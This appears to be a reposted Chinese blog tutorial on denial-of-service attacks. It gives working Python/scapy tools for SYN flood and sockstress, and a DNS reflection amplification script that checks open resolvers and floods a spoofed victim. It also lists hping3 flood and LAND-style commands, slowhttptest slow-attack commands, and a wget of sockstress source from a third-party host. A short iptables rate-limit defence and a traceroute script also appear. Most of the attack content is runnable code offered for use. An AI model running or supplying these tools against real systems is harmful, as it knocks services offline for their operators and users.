赞
踩
Syn-Flood攻击属于TCP攻击,Flood类攻击中最常见,危害最大的是Syn-Flood攻击,也是历史最悠久的攻击之一,该攻击属于半开放攻击,攻击实现原理就是通过发送大量半连接状态的数据包,从而耗尽目标系统的连接池,默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。windows 系统半开连接数是10个
攻击者伪造地址对服务器发起SYN请求,服务器就会回应 SYN+ACK 此时攻击者的主机拒绝发送 RST+ACK 那么,服务器接收不到RST请求,就会认为客户端还没有准备好,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。
虽然有丢弃的环节,但是如果攻击者的攻击速度大于目标主机的丢包速度的话,就会发生拒绝服务,因为TCP连接池一旦被填满,那么真正的连接无法建立,无法响应正常请求。
可以使用scapy工具进行验证,发送一个正常数据包,代码如下,发生攻击后再服务器上通过使用 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
匹配所有半开放链接,你可以看都非常多等待状态的连接得不到相应。
- ip = IP()
- ip.dst="192.168.1.10"
- tcp=TCP()
- sr1(ip/tcp,verbose=1,timeout=3)
- sr1(IP(dst="192.168.1.10")/TCP())
攻击代码如下
- #coding=utf-8
- import socket, sys, random
- from scapy.all import *
- scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
-
- # windows 系统半开连接数是10个
- # iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.1.10 -j DROP
- # 匹配所有半开放链接 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
- # ip = IP()
- # ip.dst="192.168.1.10"
- # tcp=TCP()
- # sr1(ip/tcp,verbose=1,timeout=3)
- # sr1(IP(dst="192.168.1.10")/TCP())
-
- target = "192.168.1.20"
- dstport = 22
- isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
- isrc = "192.168.1.2"
- print(isrc,dstport)
-
- isport = random.randint(1,65535)
- ip = IP(src = isrc,dst = target)
- syn = TCP(sport = isport, dport = dstport, flags = 'S')
- send(ip / syn, verbose = 0)
该攻击方式属于TCP全连接攻击,因为需要建立一次完整的TCP三次握手,该攻击的关键点就在于,攻击主机将windows窗口缓冲设置为0,实现的拒绝服务。
攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。
该攻击与目标建立大量的socket连接,并且都是完整连接,最后的ACK包,将Windows大小设置为0,客户端不接收数据,而服务器会认为客户端缓冲区没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机也可以拒绝高配的服务器。
- #coding=utf-8
- import socket, sys, random
- from scapy.all import *
- scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
-
- def sockstress(target,dstport):
- xport = random.randint(0,65535)
- response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
- send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
-
- sockstress("192.168.1.20",80)
除了自己编写代码实现以外还可以下载一个项目 GitHub - defuse/sockstress: Sockstress (TCP DoS) implementation. 该项目是发现这个漏洞的作者编写的利用工具,具体使用如下。
- iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻击主机IP -j DROP
- wget https://www.blib.cn/sh/sockstress.c
- git clone https://github.com/defuse/sockstress
- gcc -Wall -c sockstress.c
- gcc -pthread -o sockstress sockstress.o
- ./sockstress 192.168.1.10:3306 eth0
- ./sockstress 192.168.1.10:80 eth0 -p payloads/http
直到今天sockstress攻击仍然效果明显,由于攻击过程建立了完整的TCP三次握手,所以使用syn cookie防御无效,我们可以通过防火墙限制单位时间内每个IP建立的TCP连接数来阻止这种攻击的蔓延。
- [root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
- [root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
但是该方法依然我发防御DDOS拒绝服务的攻击,这种攻击只能拼机器拼资源了。
最后将前面两种攻击手段封装成一个,该代码只能在Linux系统下使用。
- #coding=utf-8
- # iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
- from optparse import OptionParser
- import socket,sys,random,threading
- from scapy.all import *
-
- scapy.config.conf.iface = 'ens32'
-
- # 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
- def sockstress(target,dstport):
- semaphore.acquire() # 加锁
- isport = random.randint(0,65535)
- response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
- send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
- print("[+] sendp --> {} {}".format(target,isport))
- semaphore.release() # 释放锁
-
- # 攻击目标主机TCP/IP半开放连接数,windows系统半开连接数是10个
- def synflood(target,dstport):
- semaphore.acquire() # 加锁
- issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
- isport = random.randint(1,65535)
- ip = IP(src = issrc,dst = target)
- syn = TCP(sport = isport, dport = dstport, flags = 'S')
- send(ip / syn, verbose = 0)
- print("[+] sendp --> {} {}".format(target,isport))
- semaphore.release() # 释放锁
-
- if __name__ == "__main__":
- parser = OptionParser()
- parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
- parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
- parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
- parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
- (options,args) = parser.parse_args()
- # 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
- if options.types == "synflood" and options.host and options.port and options.thread:
- semaphore = threading.Semaphore(options.thread)
- while True:
- t = threading.Thread(target=synflood,args=(options.host,options.port))
- t.start()
- elif options.types == "sockstress" and options.host and options.port and options.thread:
- semaphore = threading.Semaphore(options.thread)
- while True:
- t = threading.Thread(target=sockstress,args=(options.host,options.port))
- t.start()
- else:
- parser.print_help()
使用syn flood 攻击方式:python3 c.py --type=synflood -H 192.168.1.10 -p 3389 -t 100
使用sock并发攻击: python3 c.py --type=sockstress -H 192.168.1.10 -p 80 -t 100
备注:以下的两张图片来源于,安全牛课件,感觉不错,我就不自己画图了,原理很简单的东西。
数据包的最大传输单位是1500,如果超过这个大小数据包将会分片传输,分片传输则需要设置传输ID号,以及ip.frag_offset
偏移值,当设置了偏移值的时候,系统默认根据ID号为单位对数据包进行分段接收,收到全部包时在进行组合,并传输给系统识别。
传输第一个数据包时会跟随有MAC头,上层包头等完整信息,传输后续包的时候默认只会保留IP头与数据段,在IP头保留 Fragment offset
说明这是一个分段传输。
下面以执行ping -l 5000 192.168.1.10
为例,向目标发送5000字节大小的数据包,5000/1480 = 3.37 也就会分四段进行传输。
如下图,可以看出每次发送的数据都是,Total Length: 1500
,而Fragment offset
则指定每一个数据包的实际偏移值,ID则是数据包的分组号。
最后一个数据包将会把剩下的数据进行传递,并开始差错校验,组合成最终的数据。
通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。
此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2)
查询指定网站的DNS记录,结果如下。
上图可以看出,我们所发送的数据长度要小于接收到的数据长度,流量差不多被放大了3倍左右,我们只需要将源地址伪造为被害机器,并使用海量的DNS服务器作为僵尸主机发包,即可完成DDOS攻击。
这里需要在网上找一些DNS服务器,我整理了一些: https://www.blib.cn/sh/dnslist.log
脚本验证可用性
- import socket,os,sys
- from scapy.all import *
-
- def Inspect_DNS_Usability(filename):
- proxy_list = []
- fp = open(filename,"r")
- for i in fp.readlines():
- try:
- addr = i.replace("\n","")
- respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
- if respon != "":
- proxy_list.append(str(respon["IP"].src))
- except Exception:
- pass
- return proxy_list
- proxy = Inspect_DNS_Usability("./dnslist.log")
- fp = open("pass.log","w+")
- for item in proxy:
- fp.write(item + "\n")
- fp.close()
验证好有效性以后,接着就是Python多线程发包测试了,scapy构建数据包时由于DNS数据包比较特殊,构建是应该按照顺序 IP/UDP/DNS
来构建,以下代码可以完成发包测试
- import socket,os,sys
- from scapy.all import *
-
- # 构造IP数据包
- ip_pack = IP()
- ip_pack.src = "192.168.1.2"
- ip_pack.dst = "8.8.8.8"
-
- # 构造UDP数据包
- udp_pack = UDP()
- udp_pack.sport = 53
- udp_pack.dport = 53
-
- # 构建DNS数据包
- dns_pack = DNS()
- dns_pack.rd = 1
- dns_pack.qdcount = 1
-
- # 构建DNSQR解析
- dnsqr_pack = DNSQR()
- dnsqr_pack.qname = "baidu.com"
- dnsqr_pack.qtype = 255
-
- dns_pack.qd = dnsqr_pack
- respon = (ip_pack/udp_pack/dns_pack)
- sr1(respon)
最后的代码如下。
- import os,sys,threading,time
- from scapy.all import *
- from optparse import OptionParser
-
- def Inspect_DNS_Usability(filename):
- proxy_list = []
- fp = open(filename,"r")
- for i in fp.readlines():
- try:
- addr = i.replace("\n","")
- respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
- if respon != "":
- proxy_list.append(str(respon["IP"].src))
- except Exception:
- pass
- return proxy_list
-
- def DNS_Flood(target,dns):
- # 构造IP数据包
- ip_pack = IP()
- ip_pack.src = target
- ip_pack.dst = dns
- # ip_pack.src = "192.168.1.2"
- # ip_pack.dst = "8.8.8.8"
- # 构造UDP数据包
- udp_pack = UDP()
- udp_pack.sport = 53
- udp_pack.dport = 53
- # 构造DNS数据包
- dns_pack = DNS()
- dns_pack.rd = 1
- dns_pack.qdcount = 1
- # 构造DNSQR解析
- dnsqr_pack = DNSQR()
- dnsqr_pack.qname = "baidu.com"
- dnsqr_pack.qtype = 255
- dns_pack.qd = dnsqr_pack
- respon = (ip_pack/udp_pack/dns_pack)
- sr1(respon)
-
- if __name__ == "__main__":
- parser = OptionParser()
- parser.add_option("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")
- parser.add_option("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")
- parser.add_option("-t",dest="target",help="输入需要攻击的IP地址")
- (options,args) = parser.parse_args()
- # 使用方式: main.py --mode=check -f xxx.log
- if options.mode == "check" and options.file:
- proxy = Inspect_DNS_Usability(options.file)
- fp = open("pass.log","w+")
- for item in proxy:
- fp.write(item + "\n")
- fp.close()
- print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
- # 使用方式: main.py --mode=flood -f xxx.log -t 192.168.1.1
- elif options.mode == "flood" and options.target and options.file:
- with open(options.file,"r") as fp:
- countent = [line.rstrip("\n") for line in fp]
- while True:
- randomDNS = str(random.sample(countent,1)[0])
- print("[+] 目标主机: {} -----> 随机DNS: {}".format(options.target,randomDNS))
- t = threading.Thread(target=DNS_Flood,args=(options.target,randomDNS,))
- t.start()
- else:
- parser.print_help()
slowhttptest: 该攻击是一款慢速攻击工具,其擅长攻击Apache/Tomcat这里应用层服务,通常情况下,http协议在接收到完整的客户端请求数据包时才会开始处理本次请求,但如果攻击者通过修改数据包中的Window窗口大小,实现慢速发送数据包,那么服务器就会始终为其保留连接池资源占用,此类大量的并发请求将会导致目标应用服务的连接池爆满,从而无法相应正常用的请求。
1.下载并安装
- lyshark@Dell:~$ git clone https://github.com/shekyan/slowhttptest.git
- lyshark@Dell:~$ ./configure
- lyshark@Dell:~$ make && make install
- lyshark@Dell:~$ slowhttptest --help
-
- -g 在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
- -H SlowLoris模式
- -B Slow POST模式
- -R Range Header模式
- -X Slow Read模式
- -c number of connections 测试时建立的连接数
- -d HTTP proxy host:port 为所有连接指定代理
- -e HTTP proxy host:port 为探测连接指定代理
- -i seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
- -l seconds 测试维持时间
- -n seconds 在Slow Read模式下,指定每次操作的时间间隔。
- -o file name 使用-g参数时,可以使用此参数指定输出文件名
- -p seconds 指定等待时间来确认DoS攻击已经成功
- -r connections per second 每秒连接个数
- -s bytes 声明Content-Length header的值
- -t HTTP verb 在请求时使用什么操作,默认GET
- -u URL 指定目标url
- -v level 日志等级(详细度)
- -w bytes slow read模式中指定tcp窗口范围下限
- -x bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
- -y bytes slow read模式中指定tcp窗口范围上限
- -z bytes 在每次的read()中,从buffer中读取数据量
2.使用方式.
- slowloris模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击
-
- slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://www.xxx.com/index.html -x 24 -p 3
-
- slow post模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击
-
- slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://www.xxx.com/index.html -x 10 -p 3
-
- slow read模式:攻击者通过调整TCP Window窗口大小,使服务器慢速返回数据
-
- slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://www.xxx.com/index.html -p 3
Hping3: 工具的使用,该工具灵活性极高,常用于定制发送TCP/IP数据包,例如定制SYN Flood攻击包,ICMP/UDP等攻击
- # 进行Syn Flood攻击, -c=攻击次数/ -d=数据包大小/ -S=Syn/ -p=端口 / -w = window窗口大小 / --flood=洪水攻击 --rand-source=随机源地址
- hping3 - c 2000 -d 100 -S -w 64 -p 80 --flood --rand-source 192.168.1.10
- hping3 -S -P -U -p 80 --flood --rand-source 192.168.1.10
-
- # 进行TCP Flood攻击,
- hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.10
-
- # 进行UDP flood 攻击
- hping3 -a 192.168.1.10 --udp -s 53 -d 100 -p 53 --flood 192.168.1.10
-
- # 进行ICMP攻击
- hping3 -q -n -a 192.168.1.10 --icmp -d 56 --flood 192.168.1.10
-
- # 特殊TCP攻击:源地址目标地址都是受害者,受害者自己完成三次握手
- hping3 -n -a 192.168.1.10 -S -d 100 -p 80 --flood 192.168.1.10
tracert 命令,跟踪路由原理是IP路由每经过一个路由节点TTL值会减一,假设TTL值=0时数据包还没有到达目标主机,那么该路由则会回复给目标主机一个数据包不可达,由此我们就可以获取到目标主机的IP地址,如下通过scapy构造一个TTL为1的数据包,发送出去。
- >>> from random import randint
- >>> RandomID=randint(1,65534)
- >>> packet = IP(dst="61.135.169.125", ttl=1, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "hello"
- >>> respon = sr1(packet,timeout=3,verbose=0)
- >>>
- >>> respon
- <IP version=4 ihl=5 tos=0xc0 len=61 id=14866 flags= frag=0 ttl=64 proto=icmp chksum=0xbc9a src=192.168.1.1 dst=192.168.1.2 |<ICMP type=time-exceeded code=ttl-zero-during-transit chksum=0xf4ff reserved=0 length=0 unused=None |<IPerror version=4 ihl=5 tos=0x0 len=33 id=49588 flags= frag=0 ttl=1 proto=icmp chksum=0x4f79 src=192.168.1.2 dst=61.135.169.125 |<ICMPerror type=echo-request code=0 chksum=0x30c4 id=0xc1b4 seq=0xc1b4 |<Raw load='hello' |>>>>>
一開始发送一个TTL为1的包,这样到达第一个路由器的时候就已经超时了,第一个路由器就发ICMP通知说包超时,这样就能够记录下所经过的第一个路由器的IP。然后将TTL加1,安全通过第一个路由器,而第二个路由器的的处理与第一个同样,丢包,发通知说包超时了,这样记录下第二个路 由器IP,由此能够一直进行下去,直到这个数据包到达目标主机,由此打印出全部经过的路由器。
将这个过程自动化,就可以完成数据包的跟踪,Python 代码如下所示
- from scapy.all import *
- from random import randint
- import time,ipaddress,threading
- from optparse import OptionParser
-
- def ICMP_Ping(addr):
- RandomID=randint(1,65534)
- packet = IP(dst=addr, ttl=64, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "lyshark"
- respon = sr1(packet,timeout=3,verbose=0)
- if respon:
- print("[+] --> {}".format(str(respon[IP].src)))
-
- def TraceRouteTTL(addr):
- for item in range(1,128):
- RandomID=randint(1,65534)
- packet = IP(dst=addr, ttl=item, id=RandomID) / ICMP(id=RandomID, seq=RandomID)
- respon = sr1(packet,timeout=3,verbose=0)
- if respon != None:
- ip_src = str(respon[IP].src)
- if ip_src != addr:
- print("[+] --> {}".format(str(respon[IP].src)))
- else:
- print("[+] --> {}".format(str(respon[IP].src)))
- return 1
- else:
- print("[-] --> TimeOut")
- time.sleep(1)
-
- if __name__== "__main__":
- parser = OptionParser()
- parser.add_option("--mode",dest="mode",help="选择使用的工具模式<ping/trace>")
- parser.add_option("-a","--addr",dest="addr",help="指定一个IP地址或范围")
- (options,args) = parser.parse_args()
- # 使用方式: main.py --mode=ping -a 192.168.1.0/24
- if options.mode == "ping":
- net = ipaddress.ip_network(str(options.addr))
- for item in net:
- t = threading.Thread(target=ICMP_Ping,args=(str(item),))
- t.start()
- # 使用方式: main.py --mode=trace -a 61.135.169.121
- elif options.mode == "trace":
- TraceRouteTTL(str(options.addr))
- else:
- parser.print_help()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。